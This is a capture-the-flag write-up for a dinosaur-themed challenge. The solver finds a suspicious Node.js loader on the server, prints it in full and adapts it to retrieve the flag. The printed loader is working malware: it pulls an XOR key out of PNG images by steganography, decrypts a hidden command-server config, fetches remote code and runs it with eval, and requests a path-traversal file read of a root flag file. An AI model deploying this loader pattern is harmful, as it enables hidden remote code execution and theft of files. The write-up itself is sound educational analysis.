Difficulty
mediumCategories
miscDescription
In 1337 BC. the stegosaurus was known to write malware, infect company servers and extort them. Your task is to… AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA he’s here. I didn’t pay the ransom! Now he’s coming for my spaghetti
SSH login: dino:Stegosaurus-4-life
Hint: Flag is in another castle (/flag.txt)
Author
xNULL
Service
Challenge has a remote instance.
Recon
After connecting, we can see that there’s a node.js service running:
$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 3932 3072 ? Ss 13:23 0:00 /bin/bash /opt/start.sh
root 9 0.0 0.3 992236 50472 ? Sl 13:23 0:00 node server.js
root 10 0.0 0.0 15448 9528 ? S 13:23 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 21 1.4 0.0 15912 10052 ? Ss 13:27 0:00 sshd: dino [priv]
dino 27 0.0 0.0 16172 6500 ? S 13:27 0:00 sshd: dino@pts/0
dino 28 0.0 0.0 2584 1780 pts/0 Ss 13:27 0:00 -sh
dino 31 0.0 0.0 8096 4344 pts/0 R+ 13:27 0:00 ps aux
We check out /opt:
$ ls -al /opt/
total 4
drwxr-xr-x. 1 root root 22 Mar 1 07:23 .
drwxr-xr-x. 1 root root 39 Mar 3 13:23 ..
drwxr-xr-x. 3 root root 75 Mar 1 07:23 dinoraww
drwxr-xr-x. 1 root root 51 Mar 1 07:23 dinosite
-rwxr-xr-x. 1 root root 137 Mar 1 07:23 start.sh
drwxr-xr-x. 4 root root 101 Feb 24 19:28 yarn-v1.22.22
/opt/dinoraww/lib/loader.js looks suspicious:
const fs = require('fs');
const path = require('path');
const http = require('http');
function wonderingIfDinosWouldLikeBacon(imgPath, bytesToExtract) {
if (!fs.existsSync(imgPath)) return null;
const zlib = require('zlib');
const data = fs.readFileSync(imgPath);
let offset = 8;
let idatData = Buffer.alloc(0);
while (offset < data.length) {
const chunkLength = data.readUInt32BE(offset);
const chunkType = data.slice(offset + 4, offset + 8).toString('ascii');
if (chunkType === 'IDAT') {
idatData = Buffer.concat([idatData, data.slice(offset + 8, offset + 8 + chunkLength)]);
}
offset += 12 + chunkLength;
}
const decompressed = zlib.inflateSync(idatData);
const hiddenBytes = [];
let bitBuffer = 0;
let bitCount = 0;
const width = 200;
const height = 200;
const bytesPerPixel = 3;
const rowBytes = width * bytesPerPixel + 1;
for (let y = 0; y < height; y++) {
const rowStart = y * rowBytes + 1;
for (let x = 0; x < width; x++) {
const pixelStart = rowStart + x * bytesPerPixel;
if (pixelStart + 2 >= decompressed.length) break;
const bit = decompressed[pixelStart + 2] & 1;
bitBuffer = (bitBuffer << 1) | bit;
bitCount++;
if (bitCount === 8) {
hiddenBytes.push(bitBuffer);
bitBuffer = 0;
bitCount = 0;
if (hiddenBytes.length === bytesToExtract) return Buffer.from(hiddenBytes);
}
}
}
return Buffer.from(hiddenBytes);
}
function xorDecrypt(encrypted, key) {
const decrypted = Buffer.alloc(encrypted.length);
for (let i = 0; i < encrypted.length; i++) {
decrypted[i] = encrypted[i] ^ key[i % key.length];
}
return decrypted;
}
function RAAAAAAAAAAAAAAAAAAAAW() {
const imagePath = path.resolve(__dirname, '..', '..', '..', 'public', 'images');
const kekFiles = ['trex.png', 'raptor.png', 'ptero.png'];
const shares = [];
kekFiles.forEach(f => {
const fullPath = path.join(imagePath, f);
if (fs.existsSync(fullPath)) {
const share = wonderingIfDinosWouldLikeBacon(fullPath, 32);
if (share && share.length === 32) {
shares.push(share);
}
}
});
if (shares.length !== 3) return null;
let kek = Buffer.alloc(32);
shares.forEach(share => {
for (let i = 0; i < 32; i++) kek[i] ^= share[i];
});
const stegosaurus = wonderingIfDinosWouldLikeBacon(path.join(imagePath, 'stego.png'), 123);
if (!stegosaurus) return null;
const uwu = JSON.parse(xorDecrypt(stegosaurus, kek).toString('utf8'));
return {
dangerServer: uwu,
kek: kek
};
}
function dinocAseiNsteadcAmelcAse(hostname, port, path, callback) {
const options = {
hostname: hostname,
port: port,
path: path,
method: 'GET',
timeout: 5000
};
const req = http.request(options, (res) => {
let data = '';
res.on('data', (chunk) => { data += chunk; });
res.on('end', () => {
if (callback) callback(data);
});
});
req.on('error', () => {});
req.end();
}
function doTheRaaaaw() {
const newVarWhoDis = RAAAAAAAAAAAAAAAAAAAAW();
if (!newVarWhoDis) return;
dinocAseiNsteadcAmelcAse(newVarWhoDis.dangerServer.host, newVarWhoDis.dangerServer.port, '/algo', (encryptedAlgo) => {
const algoCode = xorDecrypt(Buffer.from(encryptedAlgo, 'hex'), newVarWhoDis.kek).toString('utf8');
eval(algoCode);
dinocAseiNsteadcAmelcAse(newVarWhoDis.dangerServer.host, newVarWhoDis.dangerServer.port,
`${newVarWhoDis.dangerServer.endpoint}?${newVarWhoDis.dangerServer.file_param}=${newVarWhoDis.dangerServer.target}`,
(encryptedResponse) => {
const response = decryptTraffic(encryptedResponse, newVarWhoDis.kek);
}
);
setTimeout(() => {
dinocAseiNsteadcAmelcAse(newVarWhoDis.dangerServer.host, newVarWhoDis.dangerServer.port,
`${newVarWhoDis.dangerServer.endpoint}?${newVarWhoDis.dangerServer.file_param}=../../../../root/flag.txt`,
(encryptedFlag) => {
const flag = decryptTraffic(encryptedFlag, newVarWhoDis.kek);
}
);
}, 2000);
});
}
Solution
We can copy the file and make minimal changes:
61c61
< const imagePath = path.resolve('/opt/dinosite/public/images');
---
> const imagePath = path.resolve(__dirname, '..', '..', '..', 'public', 'images');
131c131
< `${newVarWhoDis.dangerServer.endpoint}?${newVarWhoDis.dangerServer.file_param}=../../../../flag.txt`,
---
> `${newVarWhoDis.dangerServer.endpoint}?${newVarWhoDis.dangerServer.file_param}=../../../../root/flag.txt`,
134d133
< console.log(flag);
Then, node flag.js gives us the flag:
Flag:
dach2026{st3g0_s4urus_1s_my_b3st_br0000_7f8cff1a472e}